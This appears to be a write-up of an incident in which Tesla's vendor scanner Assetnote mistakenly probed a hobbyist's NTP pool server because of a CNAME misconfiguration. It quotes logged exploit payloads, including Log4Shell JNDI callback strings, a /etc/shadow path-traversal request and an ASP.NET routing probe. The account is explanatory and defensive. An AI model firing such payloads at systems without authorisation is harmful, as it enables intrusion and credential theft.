Tesla's Assetnote Scanners Mistakenly Target Volunteer NTP Server

TL;DR

Tesla’s third‑party vulnerability scanner (Assetnote) incorrectly identified a volunteer NTP pool server – pool-ntp.tesla.com – as a Tesla‑owned host and has been sending thousands of automated exploit attempts to the server, including Log4Shell, SSRF, and generic web‑app probes.

What actually happened?

Three AWS IPs (54.165.75.96, 35.168.63.24, 52.44.200.251) generated a flood of HTTP requests to a personal server that also runs an NTP pool instance (67.215.249.229).

  • The requests carried Host or Referer headers set to pool-ntp.tesla.com.
  • The User‑Agent string was Assetnote/1.0.0 (ExposureScan), indicating the traffic originates from Assetnote’s continuous‑exposure scanning platform (now marketed as Searchlight Cyber).
  • Payloads included JNDI‑style Log4Shell vectors, SSRF templates, path‑traversal attempts, WordPress probes, and assorted web‑shell upload attempts.
  • Over 50 000 requests have been logged since 21 August 2026, with roughly 8 000 in a two‑day window.

The server responded with a non‑standard HTTP 299 status and a plain‑text notice explaining the situation, but the scanning activity persisted.

Why did the scans target this server?

Mis‑resolved CNAME chain

  1. Tesla’s DNS entry – pool-ntp.tesla.com is a CNAME that points to pool.ntp.org.
  2. NTP Pool behavior – pool.ntp.org is a round‑robin DNS service that resolves to any volunteer NTP server worldwide, including the OP’s machine.
  3. Assetnote’s asset discovery – Assetnote appears to enumerate every hostname under tesla.com, resolve it, and treat all resulting IPs as in‑scope for active scanning.
  4. Result – The scanner added the OP’s IP to its target list and began probing it as if it were a Tesla‑owned asset.

"Your asset discovery appears to be unintentionally including every IP that pool-ntp.tesla.com can resolve to as in‑scope for active scanning." – Robin (author’s email to Tesla)

Technical details of the probe traffic

Feature Example Purpose
Log4Shell / Text4Shell GET /?a=%3Cscript src=${jndi${:-:}ldap${:-:}//waf6.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/}> Detect vulnerable Log4j/JNDI parsers via callback to *.assetnote-callback.com.
SSRF detection GET /solr/admin/collections?action=${jndi:ldap://solr.${hostName}.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/a} Force the target to resolve a hostname under pool-ntp.tesla.com and report via the callback domain.
Path traversal GET /calendars/admin@lowlevelaccess.jlg.com/calendar/../../../mail/lowlevelaccess.jlg.com/admin/.x-attachment-1-y/new/../../../../../../../../../etc/shadow Attempt to read /etc/shadow via directory‑traversal payloads.
ASP.NET trick GET / (S(x))/b/(S(x))in/System.Web.Mvc.dll with Host: login.solarcity.com Probe for ASP.NET routing quirks, possibly to reach /bin/.
Random third‑party hostnames servicemcdonalds.com, saferas.com, disneyfineart.com embedded in query strings Demonstrates that the scanner re‑uses a large template library containing many unrelated hostnames.
Internal‑network probe Referer: http://192.168.178.222/... Shows the scanner also attempts to reach RFC 1918 addresses, likely as part of a generic “scan every reachable port” routine.

The scanner also sent HTTP traffic to non‑HTTP ports (SSH, Postfix, Dovecot), indicating a blanket port‑sweeping approach.

Impact on the victim server

  • No successful compromise – All attempts were rejected; the server’s services remained intact.
  • Log volume – > 50 000 requests, consuming bandwidth and CPU cycles for log processing.
  • Operational noise – The OP had to add a custom 299 response and a warning page to make the issue visible to any human reviewing the logs.
  • Potential collateral damage – If the scanner were to hit a vulnerable service on the same host (e.g., an outdated WordPress install), it could lead to a real breach.

Community reaction and broader context

  • Other NTP pool operators see similar traffic – An operator named Matt Nordhoff reported comparable request counts from the same three AWS IPs on his own pool server.
  • Bug bounty perspective – A comment from a bug‑bounty researcher notes that *.tesla.com is listed as in‑scope on Bugcrowd, so automated agents will probe any resolved IPs under that domain.
  • Vendor‑zone recommendation – Multiple commenters point out that vendors should use a dedicated DNS zone (e.g., ntp.tesla.com) rather than CNAME‑ing into a public pool, per the NTP Pool’s vendor guidelines.
  • Legal & remediation suggestions – Some suggest contacting Assetnote directly, reporting to AWS, or filing a complaint with Tesla’s vulnerability‑reporting address. Others argue the traffic is “just the new normal” for internet‑exposed services.

Lessons for operators of volunteer services

  1. Avoid CNAMEs into public pools for brand‑owned subdomains – Use a dedicated vendor zone to prevent accidental inclusion in third‑party asset inventories.
  2. Monitor for unexpected Host/Referer values – Scanners often reuse templates that embed the target hostname; unusual values can indicate mis‑attribution.
  3. Implement rate‑limiting and custom status codes – The OP’s 299 response is a clever way to flag suspicious traffic without breaking legitimate clients.
  4. Maintain a contact channel with scanning vendors – Assetnote (Searchlight Cyber) is generally responsive to false‑positive reports; a concise email with log excerpts can trigger a whitelist.
  5. Consider IP‑level blocking as a last resort – Blocking the three AWS IPs stops the noise but may also block legitimate scans for other customers.

What should Tesla (and Assetnote) do?

  • Correct the DNS configuration – Replace the CNAME to pool.ntp.org with a dedicated Tesla‑controlled NTP endpoint or remove the subdomain entirely.
  • Fix the asset‑discovery logic – Ensure that any hostname that resolves to a public pool is excluded from the client’s in‑scope asset list unless explicitly authorized.
  • Provide a remediation channel – Acknowledge the OP’s report, update the scanning policy, and publish a brief statement to the NTP‑pool community.
  • Audit other subdomains – Verify that no other Tesla‑owned names inadvertently point to shared infrastructure that could cause similar collateral scanning.

Bottom line

Tesla’s third‑party scanner mistakenly treated a volunteer NTP pool server as a Tesla asset, resulting in thousands of automated exploit attempts against an unrelated hobbyist’s infrastructure. The incident highlights the risks of using public CNAMEs for corporate subdomains and underscores the need for careful asset‑scope definition in automated vulnerability‑exposure platforms.

Sources

Related